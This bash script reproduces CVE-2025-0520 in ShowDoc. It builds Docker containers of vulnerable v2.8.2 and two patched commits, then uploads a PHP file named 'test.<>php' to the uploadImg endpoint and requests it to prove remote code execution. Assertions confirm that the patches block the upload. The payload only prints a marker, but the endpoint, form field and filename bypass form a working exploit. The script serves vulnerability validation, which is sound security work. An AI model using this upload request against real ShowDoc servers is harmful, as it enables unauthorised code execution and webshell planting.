#!/bin/bash
set -euo pipefail

# Portable paths - works from any directory
ROOT="${PRUVA_ROOT:-$(cd "$(dirname "$0")/.." && pwd)}"
LOGS="$ROOT/logs"
mkdir -p "$LOGS"
REPRO="$ROOT/repro"
mkdir -p "$REPRO"
ARTIFACTS="$REPRO/runtime_artifacts"
HTTP_ARTIFACTS="$ARTIFACTS/http"
mkdir -p "$HTTP_ARTIFACTS"

cd "$ROOT"

WORKDIR="/tmp/cve-2025-0520-showdoc"
REPO_DIR="$WORKDIR/showdoc_repo"
SRC_VULN="$WORKDIR/showdoc_v2.8.2"
SRC_FB77="$WORKDIR/showdoc_fb77"
SRC_E1CD="$WORKDIR/showdoc_e1cd"

IMAGE_VULN="showdoc-cve-2025-0520:vuln"
IMAGE_FB77="showdoc-cve-2025-0520:fb77"
IMAGE_E1CD="showdoc-cve-2025-0520:e1cd"

CTR_VULN="showdoc-cve-2025-0520-vuln"
CTR_FB77="showdoc-cve-2025-0520-fb77"
CTR_E1CD="showdoc-cve-2025-0520-e1cd"

REQUEST_PATH="/index.php?s=/home/page/uploadImg"
PAYLOAD_FILENAME="test.<>php"
MARKER="RCE_OK_$(printf 'CVE-2025-0520' | md5sum | awk '{print $1}')"

for cmd in docker git curl awk grep sed; do
  if ! command -v "$cmd" >/dev/null 2>&1; then
    echo "[!] Missing required command: $cmd"
    exit 2
  fi
done

cleanup_containers() {
  docker rm -f "$CTR_VULN" "$CTR_FB77" "$CTR_E1CD" >/dev/null 2>&1 || true
}
trap cleanup_containers EXIT
cleanup_containers

echo "[+] Preparing source trees..."
mkdir -p "$WORKDIR"

if [ ! -d "$REPO_DIR/.git" ]; then
  git clone https://github.com/star7th/showdoc.git "$REPO_DIR" > "$LOGS/clone_showdoc.log" 2>&1
else
  git -C "$REPO_DIR" fetch --tags --force > "$LOGS/fetch_showdoc.log" 2>&1
fi

rm -rf "$SRC_VULN" "$SRC_FB77" "$SRC_E1CD"
cp -a "$REPO_DIR" "$SRC_VULN"
cp -a "$REPO_DIR" "$SRC_FB77"
cp -a "$REPO_DIR" "$SRC_E1CD"

git -C "$SRC_VULN" checkout -f v2.8.2 > "$LOGS/git_checkout_vuln.log" 2>&1
git -C "$SRC_FB77" checkout -f fb77dd4db88dc23f5e570fc95919ee882aca520a > "$LOGS/git_checkout_fb77.log" 2>&1
git -C "$SRC_E1CD" checkout -f e1cd02a3f98bb227c0599e7fa6b803ab1097597f > "$LOGS/git_checkout_e1cd.log" 2>&1

# Clean previous runtime artifacts for deterministic output
rm -rf "$HTTP_ARTIFACTS/vuln" "$HTTP_ARTIFACTS/fb77" "$HTTP_ARTIFACTS/e1cd"
mkdir -p "$HTTP_ARTIFACTS/vuln" "$HTTP_ARTIFACTS/fb77" "$HTTP_ARTIFACTS/e1cd"

write_dockerfile() {
  local target_dir="$1"
  cat > "$target_dir/Dockerfile.repro" <<'EOF'
FROM php:7.4-apache
RUN apt-get update && apt-get install -y libsqlite3-dev \
    && docker-php-ext-install pdo pdo_sqlite \
    && a2enmod rewrite \
    && rm -rf /var/lib/apt/lists/*
COPY . /var/www/html/
RUN mkdir -p /var/www/html/Public/Uploads /var/www/html/server/Application/Runtime \
    && chmod -R 777 /var/www/html
EOF
}

write_dockerfile "$SRC_VULN"
write_dockerfile "$SRC_FB77"
write_dockerfile "$SRC_E1CD"

echo "[+] Building runtime images..."
docker build -t "$IMAGE_VULN" -f "$SRC_VULN/Dockerfile.repro" "$SRC_VULN" > "$LOGS/docker_build_vuln.log" 2>&1
docker build -t "$IMAGE_FB77" -f "$SRC_FB77/Dockerfile.repro" "$SRC_FB77" > "$LOGS/docker_build_fb77.log" 2>&1
docker build -t "$IMAGE_E1CD" -f "$SRC_E1CD/Dockerfile.repro" "$SRC_E1CD" > "$LOGS/docker_build_e1cd.log" 2>&1

run_case() {
  local name="$1"
  local image="$2"
  local outdir="$3"

  mkdir -p "$outdir"
  docker rm -f "$name" >/dev/null 2>&1 || true
  docker run -d --name "$name" "$image" > "$outdir/container_id.txt"

  local status=""
  for _ in $(seq 1 40); do
    status=$(docker exec "$name" bash -lc 'curl -s -o /dev/null -w "%{http_code}" http://127.0.0.1/index.php || true')
    if [ "$status" = "200" ] || [ "$status" = "302" ]; then
      break
    fi
    sleep 1
  done
  echo "$status" > "$outdir/healthcheck_http_code.txt"

  if [ "$status" != "200" ] && [ "$status" != "302" ]; then
    echo "[!] Service did not become ready for $name" >&2
    docker logs "$name" > "$outdir/container.log" 2>&1 || true
    return 1
  fi

  docker exec "$name" bash -lc 'mkdir -p /var/www/html/server/Application/Runtime /var/www/html/Public/Uploads && chmod -R 777 /var/www/html'
  docker exec "$name" bash -lc 'cd /var/www/html/install && php non_interactive.php' > "$outdir/install_output.txt" 2>&1

  cat > "$outdir/request_metadata.txt" <<EOF
method=POST
path=$REQUEST_PATH
multipart_field=editormd-image-file
payload_filename=$PAYLOAD_FILENAME
EOF

  docker exec "$name" bash -lc 'cat > /tmp/payload.php <<"PAYLOAD"
<?php echo "RCE_OK_".md5("CVE-2025-0520"); ?>
PAYLOAD
curl -i -sS -X POST "http://127.0.0.1/index.php?s=/home/page/uploadImg" \
  -F "editormd-image-file=@/tmp/payload.php;filename=test.<>php;type=text/plain"' > "$outdir/upload_response.txt"

  docker exec "$name" bash -lc 'grep -n "uploadImg\|\$upload->allowExts\|\$upload->exts\|\$info = \$upload->upload\|return false" /var/www/html/server/Application/Home/Controller/PageController.class.php' > "$outdir/controller_lines.txt" || true
  docker exec "$name" bash -lc 'awk "NR>=130 && NR<=170 {print NR \":\" \$0}" /var/www/html/server/Application/Home/Controller/PageController.class.php' > "$outdir/controller_upload_flow.txt" || true
  docker exec "$name" bash -lc 'find /var/www/html/Public/Uploads -type f -name "*.php" | sort' > "$outdir/uploaded_php_files.txt" || true

  local first_path
  first_path="$(sed -n '1p' "$outdir/uploaded_php_files.txt" || true)"
  if [ -n "$first_path" ]; then
    local web_path="${first_path#/var/www/html}"
    docker exec "$name" bash -lc "curl -i -sS \"http://127.0.0.1${web_path}\"" > "$outdir/webshell_exec_response.txt" || true
  else
    : > "$outdir/webshell_exec_response.txt"
  fi

  docker logs "$name" > "$outdir/container.log" 2>&1 || true
}

echo "[+] Running vulnerable version (v2.8.2) against real upload endpoint..."
run_case "$CTR_VULN" "$IMAGE_VULN" "$HTTP_ARTIFACTS/vuln"

echo "[+] Running fixed version fb77dd4 comparison..."
run_case "$CTR_FB77" "$IMAGE_FB77" "$HTTP_ARTIFACTS/fb77"

echo "[+] Running defense-in-depth fix e1cd02a comparison..."
run_case "$CTR_E1CD" "$IMAGE_E1CD" "$HTTP_ARTIFACTS/e1cd"

# Assertions: vulnerable build must allow upload and execute uploaded PHP
if ! grep -q 'HTTP/1.1 200' "$HTTP_ARTIFACTS/vuln/upload_response.txt"; then
  echo "[!] Vulnerable upload request did not return HTTP 200"
  exit 1
fi
if [ ! -s "$HTTP_ARTIFACTS/vuln/uploaded_php_files.txt" ]; then
  echo "[!] Vulnerable case did not produce uploaded .php file"
  exit 1
fi
if ! grep -q "$MARKER" "$HTTP_ARTIFACTS/vuln/webshell_exec_response.txt"; then
  echo "[!] Vulnerable case did not execute uploaded PHP payload"
  exit 1
fi
if ! grep -q '\$upload->allowExts' "$HTTP_ARTIFACTS/vuln/controller_lines.txt"; then
  echo "[!] Vulnerable controller does not show deprecated allowExts usage"
  exit 1
fi
if ! grep -q '\$info = \$upload->upload' "$HTTP_ARTIFACTS/vuln/controller_lines.txt"; then
  echo "[!] Vulnerable controller snippet missing Upload->upload() invocation"
  exit 1
fi

# Assertions: fb77 fix should block upload and use exts
if ! grep -q 'HTTP/1.1 200' "$HTTP_ARTIFACTS/fb77/upload_response.txt"; then
  echo "[!] fb77 case did not return HTTP 200"
  exit 1
fi
if [ -s "$HTTP_ARTIFACTS/fb77/uploaded_php_files.txt" ]; then
  echo "[!] fb77 fix regression: .php file still uploaded"
  exit 1
fi
if ! grep -q '\$upload->exts' "$HTTP_ARTIFACTS/fb77/controller_lines.txt"; then
  echo "[!] fb77 case does not contain corrected exts assignment"
  exit 1
fi
if ! grep -q '上传文件后缀不允许' "$HTTP_ARTIFACTS/fb77/upload_response.txt"; then
  echo "[!] fb77 case did not show extension-block response"
  exit 1
fi

# Assertions: e1cd defense-in-depth should disable endpoint (return false), no upload
if ! grep -q 'HTTP/1.1 200' "$HTTP_ARTIFACTS/e1cd/upload_response.txt"; then
  echo "[!] e1cd case did not return HTTP 200"
  exit 1
fi
if [ -s "$HTTP_ARTIFACTS/e1cd/uploaded_php_files.txt" ]; then
  echo "[!] e1cd fix regression: .php file still uploaded"
  exit 1
fi
if ! grep -q 'return false' "$HTTP_ARTIFACTS/e1cd/controller_lines.txt"; then
  echo "[!] e1cd case does not contain endpoint-disable guard"
  exit 1
fi
if ! grep -q 'Content-Length: 0' "$HTTP_ARTIFACTS/e1cd/upload_response.txt"; then
  echo "[!] e1cd case did not produce empty endpoint response"
  exit 1
fi

cat > "$HTTP_ARTIFACTS/summary.txt" <<EOF
CVE-2025-0520 runtime summary
=============================
Vulnerable v2.8.2:
- Real endpoint POST $REQUEST_PATH accepted filename $PAYLOAD_FILENAME
- Controller path includes: \$upload->allowExts and \$info = \$upload->upload()
- Uploaded PHP path recorded in runtime_artifacts/http/vuln/uploaded_php_files.txt
- Executing uploaded file returned marker: $MARKER

Fixed fb77dd4:
- Same request blocked with message: 上传文件后缀不允许
- Controller updated to \$upload->exts
- No uploaded PHP file present under Public/Uploads

Fixed e1cd02a:
- uploadImg() disabled via early return false
- Same request returns empty body (Content-Length: 0)
- No uploaded PHP file present under Public/Uploads
EOF

# Record exact runtime revisions used
git -C "$SRC_VULN" rev-parse HEAD > "$HTTP_ARTIFACTS/vuln/revision.txt"
git -C "$SRC_FB77" rev-parse HEAD > "$HTTP_ARTIFACTS/fb77/revision.txt"
git -C "$SRC_E1CD" rev-parse HEAD > "$HTTP_ARTIFACTS/e1cd/revision.txt"

# Standard runtime manifest for downstream validation systems
cat > "$REPRO/runtime_manifest.json" <<EOF
{
  "entrypoint_kind": "library_api",
  "entrypoint_detail": "ThinkPHP Upload->upload() reached by POST $REQUEST_PATH",
  "service_started": true,
  "healthcheck_passed": true,
  "target_path_reached": true,
  "runtime_stack": ["docker", "php:7.4-apache", "thinkphp-3.2", "showdoc"],
  "proof_artifacts": [
    "runtime_artifacts/http/vuln/request_metadata.txt",
    "runtime_artifacts/http/vuln/controller_lines.txt",
    "runtime_artifacts/http/vuln/controller_upload_flow.txt",
    "runtime_artifacts/http/vuln/upload_response.txt",
    "runtime_artifacts/http/vuln/uploaded_php_files.txt",
    "runtime_artifacts/http/vuln/webshell_exec_response.txt",
    "runtime_artifacts/http/fb77/controller_lines.txt",
    "runtime_artifacts/http/fb77/upload_response.txt",
    "runtime_artifacts/http/e1cd/controller_lines.txt",
    "runtime_artifacts/http/e1cd/upload_response.txt",
    "runtime_artifacts/http/summary.txt"
  ],
  "notes": "Real endpoint trigger proves vulnerable Upload->upload path in v2.8.2 and shows behavior difference after fb77dd4 and e1cd02a"
}
EOF

echo "[+] Reproduction confirmed with vulnerable-vs-fixed runtime comparison."
exit 0
